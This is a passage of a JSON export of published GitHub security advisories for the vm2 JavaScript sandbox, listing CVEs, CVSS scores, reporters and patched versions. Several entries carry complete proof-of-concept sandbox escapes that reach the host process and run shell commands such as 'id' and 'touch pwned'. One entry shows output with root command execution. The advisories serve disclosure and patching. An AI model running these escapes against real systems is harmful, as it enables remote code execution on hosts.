3.10.5","patched_versions":"3.11.0","vulnerable_functions":[]}],"cvss_severities":{"cvss_v3":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","score":10.0},"cvss_v4":{"vector_string":null,"score":null}},"cwes":[{"cwe_id":"CWE-94","name":"Improper Control of Generation of Code ('Code Injection')"}],"cwe_ids":["CWE-94"],"credits":[{"login":"c0rydoras","type":"reporter"}],"credits_detailed":[{"user":{"login":"c0rydoras","id":110528300,"node_id":"U_kgDOBpaHLA","avatar_url":"https://avatars.githubusercontent.com/u/110528300?v=4","gravatar_id":"","url":"https://api.github.com/users/c0rydoras","html_url":"https://github.com/c0rydoras","followers_url":"https://api.github.com/users/c0rydoras/followers","following_url":"https://api.github.com/users/c0rydoras/following{/other_user}","gists_url":"https://api.github.com/users/c0rydoras/gists{/gist_id}","starred_url":"https://api.github.com/users/c0rydoras/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/c0rydoras/subscriptions","organizations_url":"https://api.github.com/users/c0rydoras/orgs","repos_url":"https://api.github.com/users/c0rydoras/repos","events_url":"https://api.github.com/users/c0rydoras/events{/privacy}","received_events_url":"https://api.github.com/users/c0rydoras/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"reporter","state":"accepted"}],"collaborating_users":null,"collaborating_teams":null,"private_fork":null,"cvss":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","score":10.0}},{"ghsa_id":"GHSA-47x8-96vw-5wg6","cve_id":"CVE-2026-43997","url":"https://api.github.com/repos/patriksimek/vm2/security-advisories/GHSA-47x8-96vw-5wg6","html_url":"https://github.com/patriksimek/vm2/security/advisories/GHSA-47x8-96vw-5wg6","summary":"Sandbox Escape","description":"### Summary\r\n\r\nIt is possible to obtain the host `Object`, https://github.com/patriksimek/vm2/commit/ebcfe94ad2f864f0bc35e78cff1d921107cfd160 added some protections, but they're not enough.\r\n\r\n### Details\r\n\r\nThere are various ways to use the host `Object`, to escape the sandbox, one example would be using  `HostObject.getOwnPropertySymbols` to obtain `Symbol(nodejs.util.inspect.custom)`\r\n\r\n### PoC\r\n\r\n```js\r\nconst g = {}.__lookupGetter__;\r\nconst a = Buffer.apply;\r\nconst p = a.apply(g, [Buffer, ['__proto__']]);\r\nconst o = p.call(p.call(a));\r\nconst HObject = o.constructor;\r\nsym = HObject.getOwnPropertySymbols(Buffer.prototype).at(0);\r\n\r\nconst obj = {\r\n\t[sym]: (depth, opt, inspect) => {\r\n\t\tinspect.constructor(\"return process.getBuiltinModule('child_process').execSync('ls',{stdio:'inherit'})\")();\r\n\t},\r\n\tvalueOf: undefined,\r\n\tconstructor: undefined,\r\n};\r\n\r\nWebAssembly.compileStreaming(obj).catch(() => {});\r\n```\r\n\r\n### Impact\r\n\r\nSandbox Escape -> RCE","severity":"critical","author":null,"publisher":{"login":"patriksimek","id":1000058,"node_id":"MDQ6VXNlcjEwMDAwNTg=","avatar_url":"https://avatars.githubusercontent.com/u/1000058?v=4","gravatar_id":"","url":"https://api.github.com/users/patriksimek","html_url":"https://github.com/patriksimek","followers_url":"https://api.github.com/users/patriksimek/followers","following_url":"https://api.github.com/users/patriksimek/following{/other_user}","gists_url":"https://api.github.com/users/patriksimek/gists{/gist_id}","starred_url":"https://api.github.com/users/patriksimek/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/patriksimek/subscriptions","organizations_url":"https://api.github.com/users/patriksimek/orgs","repos_url":"https://api.github.com/users/patriksimek/repos","events_url":"https://api.github.com/users/patriksimek/events{/privacy}","received_events_url":"https://api.github.com/users/patriksimek/received_events","type":"User","user_view_type":"public","site_admin":false},"identifiers":[{"value":"GHSA-47x8-96vw-5wg6","type":"GHSA"},{"value":"CVE-2026-43997","type":"CVE"}],"state":"published","created_at":null,"updated_at":"2026-05-05T14:39:23Z","published_at":"2026-05-01T20:41:18Z","closed_at":null,"withdrawn_at":null,"submission":null,"vulnerabilities":[{"package":{"ecosystem":"npm","name":"vm2"},"vulnerable_version_range":"<= 3.10.5","patched_versions":"3.11.0","vulnerable_functions":[]}],"cvss_severities":{"cvss_v3":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","score":10.0},"cvss_v4":{"vector_string":null,"score":null}},"cwes":[{"cwe_id":"CWE-94","name":"Improper Control of Generation of Code ('Code Injection')"}],"cwe_ids":["CWE-94"],"credits":[{"login":"c0rydoras","type":"reporter"}],"credits_detailed":[{"user":{"login":"c0rydoras","id":110528300,"node_id":"U_kgDOBpaHLA","avatar_url":"https://avatars.githubusercontent.com/u/110528300?v=4","gravatar_id":"","url":"https://api.github.com/users/c0rydoras","html_url":"https://github.com/c0rydoras","followers_url":"https://api.github.com/users/c0rydoras/followers","following_url":"https://api.github.com/users/c0rydoras/following{/other_user}","gists_url":"https://api.github.com/users/c0rydoras/gists{/gist_id}","starred_url":"https://api.github.com/users/c0rydoras/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/c0rydoras/subscriptions","organizations_url":"https://api.github.com/users/c0rydoras/orgs","repos_url":"https://api.github.com/users/c0rydoras/repos","events_url":"https://api.github.com/users/c0rydoras/events{/privacy}","received_events_url":"https://api.github.com/users/c0rydoras/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"reporter","state":"accepted"}],"collaborating_users":null,"collaborating_teams":null,"private_fork":null,"cvss":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","score":10.0}},{"ghsa_id":"GHSA-ffh4-j6h5-pg66","cve_id":"CVE-2026-26956","url":"https://api.github.com/repos/patriksimek/vm2/security-advisories/GHSA-ffh4-j6h5-pg66","html_url":"https://github.com/patriksimek/vm2/security/advisories/GHSA-ffh4-j6h5-pg66","summary":"WASM Sandbox Escape","description":"## Summary\r\n\r\nFull sandbox escape with arbitrary code execution. Attacker code inside `VM.run()` obtains host process object and runs host commands with zero host cooperation.\r\n\r\n## Details\r\n\r\n**Confirmed on:** vm2 3.10.4, Node.js v25.6.1 (x64 Linux)\r\n**Trigger:** Attacker-controlled code passed to `VM.run()`\r\n**Requires:** Node.js version with WebAssembly exception handling + JSTag support (tested on v25.6.1)\r\n\r\nvm2's sandbox security relies on two JavaScript-level mechanisms: (1) a code transformer that injects `handleException()` into JS `catch` clauses to wrap host-realm errors, and (2) bridge Proxies that wrap cross-context objects. Both operate entirely within JavaScript.\r\n\r\nWebAssembly's `try_table` instruction with a `JSTag` catch handler catches JavaScript exceptions at V8's C++ level — below JavaScript entirely. When an imported JS function throws a TypeError produced by Symbol-to-string coercion during stack formatting (`e.name = Symbol(); e.stack`), the WASM `try_table` catches it as an opaque `externref` and returns it as a normal function return value. This WASM exception-handling-to-return-value path is not sanitized by vm2 — the host-realm TypeError reaches attacker code unsanitized. Its constructor chain (`hostError.constructor.constructor`) resolves to a Function that returns the host process object, allowing for reflection outside of the vm2 context, leading to code execution.\r\n\r\n## PoC\r\n\r\n```js\r\nconst { VM } = require(\"vm2\");\r\nconsole.log(\"vm2:\", require(\"vm2/package.json\").version, \"| node:\", process.version);\r\n\r\nnew VM().run(`\r\n    const before = typeof process;\r\n\r\n    const err = new Error(\"x\");\r\n    err.name = Symbol();\r\n\r\n    const wasm = new Uint8Array([\r\n        0x00,0x61,0x73,0x6d,0x01,0x00,0x00,0x00,\r\n        0x01,0x0c,0x03,0x60,0x00,0x00,0x60,0x00,0x01,0x6f,0x60,0x01,0x6f,0x00,\r\n        0x02,0x19,0x02,\r\n        0x03,0x65,0x6e,0x76,0x07,0x74,0x72,0x69,0x67,0x67,0x65,0x72,0x00,0x00,\r\n        0x02,0x6a,0x73,0x03,0x74,0x61,0x67,0x04,0x00,0x02,\r\n        0x03,0x02,0x01,0x01,\r\n        0x07,0x0f,0x01,\r\n        0x0b,0x63,0x61,0x74,0x63,0x68,0x5f,0x65,0x72,0x72,0x6f,0x72,0x00,0x01,\r\n        0x0a,0x12,0x01,0x10,0x00,\r\n        0x02,0x6f,0x1f,0x40,0x01,0x00,0x00,0x00,0x10,0x00,0x00,0x0b,0x00,0x0b,0x0b\r\n    ]);\r\n\r\n    const instance = new WebAssembly.Instance(\r\n        new WebAssembly.Module(wasm),\r\n        { env: { trigger() { err.stack; } }, js: { tag: WebAssembly.JSTag } }\r\n    );\r\n\r\n    const hostError = instance.exports.catch_error();\r\n    const p = hostError.constructor.constructor(\"return process\")();\r\n    const id = p.mainModule.require(\"child_process\").execSync(\"id\").toString().trim();\r\n    const log = p.mainModule.require(\"console\").log;\r\n    log(\"\");\r\n    log(\"process before escape:\", before);\r\n    log(\"process after escape: \", typeof p);\r\n    log(\"host pid:             \", p.pid);\r\n    log(\"host node version:    \", p.version);\r\n    log(\"RCE:                  \", id);\r\n`);\r\n```\r\n\r\n```\r\n> node poc.js\r\nvm2: 3.10.4 | node: v25.6.1\r\n\r\nprocess before escape: undefined\r\nprocess after escape:  object\r\nhost pid:              217\r\nhost node version:     v25.6.1\r\nRCE:                   uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)\r\n```\r\n\r\n**Proof files**\r\n[poc.js](https://github.com/user-attachments/files/25285089/poc.js)\r\n\r\n","severity":"critical","author":null,"publisher":{"login":"patriksimek","id":1000058,"node_id":"MDQ6VXNlcjEwMDAwNTg=","avatar_url":"https://avatars.githubusercontent.com/u/1000058?v=4","gravatar_id":"","url":"https://api.github.com/users/patriksimek","html_url":"https://github.com/patriksimek","followers_url":"https://api.github.com/users/patriksimek/followers","following_url":"https://api.github.com/users/patriksimek/following{/other_user}","gists_url":"https://api.github.com/users/patriksimek/gists{/gist_id}","starred_url":"https://api.github.com/users/patriksimek/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/patriksimek/subscriptions","organizations_url":"https://api.github.com/users/patriksimek/orgs","repos_url":"https://api.github.com/users/patriksimek/repos","events_url":"https://api.github.com/users/patriksimek/events{/privacy}","received_events_url":"https://api.github.com/users/patriksimek/received_events","type":"User","user_view_type":"public","site_admin":false},"identifiers":[{"value":"GHSA-ffh4-j6h5-pg66","type":"GHSA"},{"value":"CVE-2026-26956","type":"CVE"}],"state":"published","created_at":null,"updated_at":"2026-05-07T22:27:00Z","published_at":"2026-05-01T20:45:39Z","closed_at":null,"withdrawn_at":null,"submission":null,"vulnerabilities":[{"package":{"ecosystem":"npm","name":"vm2"},"vulnerable_version_range":"<= 3.10.4","patched_versions":"3.10.5","vulnerable_functions":[]}],"cvss_severities":{"cvss_v3":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8},"cvss_v4":{"vector_string":null,"score":null}},"cwes":[{"cwe_id":"CWE-693","name":"Protection Mechanism Failure"}],"cwe_ids":["CWE-693"],"credits":[{"login":"0x5t","type":"reporter"}],"credits_detailed":[{"user":{"login":"0x5t","id":179028367,"node_id":"U_kgDOCqvBjw","avatar_url":"https://avatars.githubusercontent.com/u/179028367?v=4","gravatar_id":"","url":"https://api.github.com/users/0x5t","html_url":"https://github.com/0x5t","followers_url":"https://api.github.com/users/0x5t/followers","following_url":"https://api.github.com/users/0x5t/following{/other_user}","gists_url":"https://api.github.com/users/0x5t/gists{/gist_id}","starred_url":"https://api.github.com/users/0x5t/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/0x5t/subscriptions","organizations_url":"https://api.github.com/users/0x5t/orgs","repos_url":"https://api.github.com/users/0x5t/repos","events_url":"https://api.github.com/users/0x5t/events{/privacy}","received_events_url":"https://api.github.com/users/0x5t/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"reporter","state":"accepted"}],"collaborating_users":null,"collaborating_teams":null,"private_fork":null,"cvss":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8}},{"ghsa_id":"GHSA-55hx-c926-fr95","cve_id":"CVE-2026-26332","url":"https://api.github.com/repos/patriksimek/vm2/security-advisories/GHSA-55hx-c926-fr95","html_url":"https://github.com/patriksimek/vm2/security/advisories/GHSA-55hx-c926-fr95","summary":" Sandbox Escape Through SuppressedError","description":"In vm2 v3.10.4 on Node.js v24.13.0, `SuppressedError` allows attackers to escape the sandbox and run arbitrary code.\r\n\r\n### PoC\r\n```js\r\nconst { VM } = require(\"vm2\");\r\n\r\nconst vm = new VM();\r\n\r\nvm.run(`\r\nconst ds = new DisposableStack();\r\nds.defer(() => { throw null; });\r\nds.defer(() => {\r\n  const e = Error();\r\n  e.name = Symbol();\r\n  e.stack;\r\n});\r\ntry {\r\n  ds.dispose();\r\n} catch(e) {\r\n  const Function = e.suppressed.constructor.constructor;\r\n  const process = new Function(\"return process;\")();\r\n  const { execSync } = process.mainModule.require(\"node:child_process\");\r\n  execSync(\"echo pwned\", { stdio: \"inherit\" });\r\n}\r\n`);\r\n```","severity":"critical","author":null,"publisher":{"login":"patriksimek","id":1000058,"node_id":"MDQ6VXNlcjEwMDAwNTg=","avatar_url":"https://avatars.githubusercontent.com/u/1000058?v=4","gravatar_id":"","url":"https://api.github.com/users/patriksimek","html_url":"https://github.com/patriksimek","followers_url":"https://api.github.com/users/patriksimek/followers","following_url":"https://api.github.com/users/patriksimek/following{/other_user}","gists_url":"https://api.github.com/users/patriksimek/gists{/gist_id}","starred_url":"https://api.github.com/users/patriksimek/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/patriksimek/subscriptions","organizations_url":"https://api.github.com/users/patriksimek/orgs","repos_url":"https://api.github.com/users/patriksimek/repos","events_url":"https://api.github.com/users/patriksimek/events{/privacy}","received_events_url":"https://api.github.com/users/patriksimek/received_events","type":"User","user_view_type":"public","site_admin":false},"identifiers":[{"value":"GHSA-55hx-c926-fr95","type":"GHSA"},{"value":"CVE-2026-26332","type":"CVE"}],"state":"published","created_at":null,"updated_at":"2026-05-01T20:41:32Z","published_at":"2026-05-01T20:41:32Z","closed_at":null,"withdrawn_at":null,"submission":null,"vulnerabilities":[{"package":{"ecosystem":"npm","name":"vm2"},"vulnerable_version_range":"<= 3.10.4","patched_versions":"3.11.0","vulnerable_functions":[]}],"cvss_severities":{"cvss_v3":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8},"cvss_v4":{"vector_string":null,"score":null}},"cwes":[],"cwe_ids":[],"credits":[],"credits_detailed":[],"collaborating_users":null,"collaborating_teams":null,"private_fork":null,"cvss":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8}},{"ghsa_id":"GHSA-v37h-5mfm-c47c","cve_id":"CVE-2026-24781","url":"https://api.github.com/repos/patriksimek/vm2/security-advisories/GHSA-v37h-5mfm-c47c","html_url":"https://github.com/patriksimek/vm2/security/advisories/GHSA-v37h-5mfm-c47c","summary":"Sandbox Breakout Through Inspect","description":"### Summary\r\n\r\nVM2 suffers from a sandbox breakout vulnerability through the `inspect` function. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.\r\n\r\n### Details\r\n\r\nThe node `inspect` method allows to log details of objects. To get to the details, the implementation unwraps proxies. The unwrapped values can be extracted using the `this.seen` of the `stylize` function. This allows to get access to the internal proxy handler of VM2 which contains the sandbox object. Since the access to the handler is itself wrapped by a VM2 proxy, accessing the sandbox object in the proxy handler will result in a wrapped sandbox object given into the sandbox. This allows to write a wrapped host object to the wrapped sandbox object and read the raw host object from the raw sandbox object bypassing the proxy bridge.\r\n\r\n### PoC\r\n\r\n```js\r\nconst obj = {\r\n\tsubarray: Buffer.prototype.inspect,\r\n\tslice: Buffer.prototype.slice,\r\n\thexSlice:()=>'',\r\n\tl:{__proto__: null}\r\n};\r\n\r\nobj.slice(20, {showHidden: true, showProxy: true, depth: 10, stylize(a) {\r\n\tif (this.seen?.[1]?.objectWrapper) this.seen[1].objectWrapper().x = obj.slice;\r\n\treturn a;\r\n}});\r\nobj.l.x.constructor(\"return process\")().mainModule.require('child_process').execSync('touch pwned');\r\n```\r\n\r\n### Impact\r\n\r\nAttackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.\r\n","severity":"critical","author":null,"publisher":{"login":"patriksimek","id":1000058,"node_id":"MDQ6VXNlcjEwMDAwNTg=","avatar_url":"https://avatars.githubusercontent.com/u/1000058?v=4","gravatar_id":"","url":"https://api.github.com/users/patriksimek","html_url":"https://github.com/patriksimek","followers_url":"https://api.github.com/users/patriksimek/followers","following_url":"https://api.github.com/users/patriksimek/following{/other_user}","gists_url":"https://api.github.com/users/patriksimek/gists{/gist_id}","starred_url":"https://api.github.com/users/patriksimek/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/patriksimek/subscriptions","organizations_url":"https://api.github.com/users/patriksimek/orgs","repos_url":"https://api.github.com/users/patriksimek/repos","events_url":"https://api.github.com/users/patriksimek/events{/privacy}","received_events_url":"https://api.github.com/users/patriksimek/received_events","type":"User","user_view_type":"public","site_admin":false},"identifiers":[{"value":"GHSA-v37h-5mfm-c47c","type":"GHSA"},{"value":"CVE-2026-24781","type":"CVE"}],"state":"published","created_at":null,"updated_at":"2026-05-01T20:39:38Z","published_at":"2026-05-01T20:39:37Z","closed_at":null,"withdrawn_at":null,"submission":null,"vulnerabilities":[{"package":{"ecosystem":"npm","name":"vm2"},"vulnerable_version_range":"<= 3.10.3","patched_versions":"3.11.0","vulnerable_functions":[]}],"cvss_severities":{"cvss_v3":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8},"cvss_v4":{"vector_string":null,"score":null}},"cwes":[],"cwe_ids":[],"credits":[{"login":"XmiliaH","type":"reporter"}],"credits_detailed":[{"user":{"login":"XmiliaH","id":45106915,"node_id":"MDQ6VXNlcjQ1MTA2OTE1","avatar_url":"https://avatars.githubusercontent.com/u/45106915?v=4","gravatar_id":"","url":"https://api.github.com/users/XmiliaH","html_url":"https://github.com/XmiliaH","followers_url":"https://api.github.com/users/XmiliaH/followers","following_url":"https://api.github.com/users/XmiliaH/following{/other_user}","gists_url":"https://api.github.com/users/XmiliaH/gists{/gist_id}","starred_url":"https://api.github.com/users/XmiliaH/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/XmiliaH/subscriptions","organizations_url":"https://api.github.com/users/XmiliaH/orgs","repos_url":"https://api.github.com/users/XmiliaH/repos","events_url":"https://api.github.com/users/XmiliaH/events{/privacy}","received_events_url":"https://api.github.com/users/XmiliaH/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"reporter","state":"accepted"}],"collaborating_users":null,"collaborating_teams":null,"private_fork":null,"cvss":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8}},{"ghsa_id":"GHSA-qvjj-29qf-hp7p","cve_id":"CVE-2026-24120","url":"https://api.github.com/repos/patriksimek/vm2/security-advisories/GHSA-qvjj-29qf-hp7p","html_url":"https://github.com/patriksimek/vm2/security/advisories/GHSA-qvjj-29qf-hp7p","summary":"Sandbox Breakout Through Promise Species","description":"### Summary\r\n\r\nThe fix for https://github.com/patriksimek/vm2/security/advisories/GHSA-cchq-frgv-rjh5 is insufficient and can be circumvented allowing attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.\r\n\r\n### Details\r\n\r\nThe fix for https://github.com/patriksimek/vm2/security/advisories/GHSA-cchq-frgv-rjh5 introduced the function `resetPromiseSpecies` https://github.com/patriksimek/vm2/blob/4b009c2d4b1131c01810c1205e641d614c322a29/lib/setup-sandbox.js#L35C7-L39.\r\nThis function changes the `species` property of promise objects back to a known value. However, it uses the function `[].includes` and `Object.defineProperty` which can be overewritten to prevent the species from being changed.\r\n\r\n### PoC\r\n\r\nThe following code demonstrates this issue by aquiring the host process object and executing `touch pwned`.\r\n\r\n```js\r\nconst {VM} = require(\"vm2\");\r\nconst vm = new VM();\r\nvm.run(`\r\nObject.defineProperty=()=>{};\r\nasync function fn() {\r\n    const e = new Error();\r\n    e.name = Symbol();\r\n    return e.stack;\r\n}\r\np = fn();\r\np.constructor = {\r\n    [Symbol.species]: class FakePromise {\r\n        constructor(executor) {\r\n            executor(\r\n                (x) => x,\r\n                (err) => { return err.constructor.constructor('return process')().mainModule.require('child_process').execSync('touch pwned'); }\r\n            )\r\n        }\r\n    }\r\n};\r\np.then();\r\n`);\r\n```\r\n\r\n### Impact\r\n\r\nAttackers can perform Remote Code Execution under the assumption that the attacker can run arbitrary code execution inside the context of a vm2 sandbox.","severity":"critical","author":null,"publisher":{"login":"patriksimek","id":1000058,"node_id":"MDQ6VXNlcjEwMDAwNTg=","avatar_url":"https://avatars.githubusercontent.com/u/1000058?v=4","gravatar_id":"","url":"https://api.github.com/users/patriksimek","html_url":"https://github.com/patriksimek","followers_url":"https://api.github.com/users/patriksimek/followers","following_url":"https://api.github.com/users/patriksimek/following{/other_user}","gists_url":"https://api.github.com/users/patriksimek/gists{/gist_id}","starred_url":"https://api.github.com/users/patriksimek/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/patriksimek/subscriptions","organizations_url":"https://api.github.com/users/patriksimek/orgs","repos_url":"https://api.github.com/users/patriksimek/repos","events_url":"https://api.github.com/users/patriksimek/events{/privacy}","received_events_url":"https://api.github.com/users/patriksimek/received_events","type":"User","user_view_type":"public","site_admin":false},"identifiers":[{"value":"GHSA-qvjj-29qf-hp7p","type":"GHSA"},{"value":"CVE-2026-24120","type":"CVE"}],"state":"published","created_at":null,"updated_at":"2026-05-01T20:40:14Z","published_at":"2026-05-01T20:40:14Z","closed_at":null,"withdrawn_at":null,"submission":null,"vulnerabilities":[{"package":{"ecosystem":"npm","name":"vm2"},"vulnerable_version_range":"<= 3.10.3","patched_versions":"3.10.5","vulnerable_functions":[]}],"cvss_severities":{"cvss_v3":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8},"cvss_v4":{"vector_string":null,"score":null}},"cwes":[],"cwe_ids":[],"credits":[{"login":"XmiliaH","type":"reporter"}],"credits_detailed":[{"user":{"login":"XmiliaH","id":45106915,"node_id":"MDQ6VXNlcjQ1MTA2OTE1","avatar_url":"https://avatars.githubusercontent.com/u/45106915?v=4","gravatar_id":"","url":"https://api.github.com/users/XmiliaH","html_url":"https://github.com/XmiliaH","followers_url":"https://api.github.com/users/XmiliaH/followers","following_url":"https://api.github.com/users/XmiliaH/following{/other_user}","gists_url":"https://api.github.com/users/XmiliaH/gists{/gist_id}","starred_url":"https://api.github.com/users/XmiliaH/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/XmiliaH/subscriptions","organizations_url":"https://api.github.com/users/XmiliaH/orgs","repos_url":"https://api.github.com/users/XmiliaH/repos","events_url":"https://api.github.com/users/XmiliaH/events{/privacy}","received_events_url":"https://api.github.com/users/XmiliaH/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"reporter","state":"accepted"}],"collaborating_users":null,"collaborating_teams":null,"private_fork":null,"cvss":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8}},{"ghsa_id":"GHSA-grj5-jjm8-h35p","cve_id":"CVE-2026-24118","url":"https://api.github.com/repos/patriksimek/vm2/security-advisories/GHSA-grj5-jjm8-h35p","html_url":"https://github.com/patriksimek/vm2/security/advisories/GHSA-grj5-jjm8-h35p","summary":"VM2 Sandbox Breakout Through __lookupGetter__","description":"### Summary\r\n\r\nVM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.\r\n\r\n### Details\r\n\r\nThe `__lookupGetter__` method allows to read the getter of an object. It is special in VM2 since it will switch between the host and sandbox version of the method when passed to the other context.\r\nThis allows to access getters on an object in the host context if the method is called from the host context which can be achieved by using the host `apply` method which can be accessed through `Buffer.apply`.\r\nAfterwards, this function can be used to call the host version of `__lookupGetter__` with `Buffer` and `__proto__` resulting in the prototype lookup method from the host context.\r\nWith this method the hosts `Function.prototype` object can be retrieved and the host `Function` acquired through the `constructor` property which allows to create and run code in the host context.\r\nThis issue was attempted to be fixed with https://github.com/patriksimek/vm2/blob/4b009c2d4b1131c01810c1205e641d614c322a29/lib/bridge.js#L427. However, this can be circumvented by using `Object.getOwnPropertyDescriptor` to get the `constructor` property.\r\n\r\n### PoC\r\n\r\nThe following code demonstrates this issue by acquiring the host process object and executing `touch pwned`.\r\n\r\n```js\r\nconst {VM} = require(\"vm2\");\r\nconst vm = new VM();\r\nvm.run(`\r\nconst g = ({}).__lookupGetter__;\r\nconst a = Buffer.apply;\r\nconst p = a.apply(g, [Buffer, ['__proto__']]);\r\nObject.getOwnPropertyDescriptor(p.call(a),'constructor').value('return process')().mainModule.require('child_process').execSync('touch pwned');\r\n`);\r\n```\r\n\r\n### Impact\r\n\r\nAttackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.","severity":"critical","author":null,"publisher":{"login":"patriksimek","id":1000058,"node_id":"MDQ6VXNlcjEwMDAwNTg=","avatar_url":"https://avatars.githubusercontent.com/u/1000058?v=4","gravatar_id":"","url":"https://api.github.com/users/patriksimek","html_url":"https://github.com/patriksimek","followers_url":"https://api.github.com/users/patriksimek/followers","following_url":"https://api.github.com/users/patriksimek/following{/other_user}","gists_url":"https://api.github.com/users/patriksimek/gists{/gist_id}","starred_url":"https://api.github.com/users/patriksimek/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/patriksimek/subscriptions","organizations_url":"https://api.github.com/users/patriksimek/orgs","repos_url":"https://api.github.com/users/patriksimek/repos","events_url":"https://api.github.com/users/patriksimek/events{/privacy}","received_events_url":"https://api.github.com/users/patriksimek/received_events","type":"User","user_view_type":"public","site_admin":false},"identifiers":[{"value":"GHSA-grj5-jjm8-h35p","type":"GHSA"},{"value":"CVE-2026-24118","type":"CVE"}],"state":"published","created_at":null,"updated_at":"2026-05-01T20:39:12Z","published_at":"2026-05-01T20:39:11Z","closed_at":null,"withdrawn_at":null,"submission":null,"vulnerabilities":[{"package":{"ecosystem":"npm","name":"vm2"},"vulnerable_version_range":"<= 3.10.4","patched_versions":"3.11.0","vulnerable_functions":[]}],"cvss_severities":{"cvss_v3":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8},"cvss_v4":{"vector_string":null,"score":null}},"cwes":[],"cwe_ids":[],"credits":[{"login":"XmiliaH","type":"reporter"}],"credits_detailed":[{"user":{"login":"XmiliaH","id":45106915,"node_id":"MDQ6VXNlcjQ1MTA2OTE1","avatar_url":"https://avatars.githubusercontent.com/u/45106915?v=4","gravatar_id":"","url":"https://api.github.com/users/XmiliaH","html_url":"https://github.com/XmiliaH","followers_url":"https://api.github.com/users/XmiliaH/followers","following_url":"https://api.github.com/users/XmiliaH/following{/other_user}","gists_url":"https://api.github.com/users/XmiliaH/gists{/gist_id}","starred_url":"https://api.github.com/users/XmiliaH/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/XmiliaH/subscriptions","organizations_url":"https://api.github.com/users/XmiliaH/orgs","repos_url":"https://api.github.com/users/XmiliaH/repos","events_url":"https://api.github.com/users/XmiliaH/events{/privacy}","received_events_url":"https://api.github.com/users/XmiliaH/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"reporter","state":"accepted"}],"collaborating_users":null,"collaborating_teams":null,"private_fork":null,"cvss":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8}}]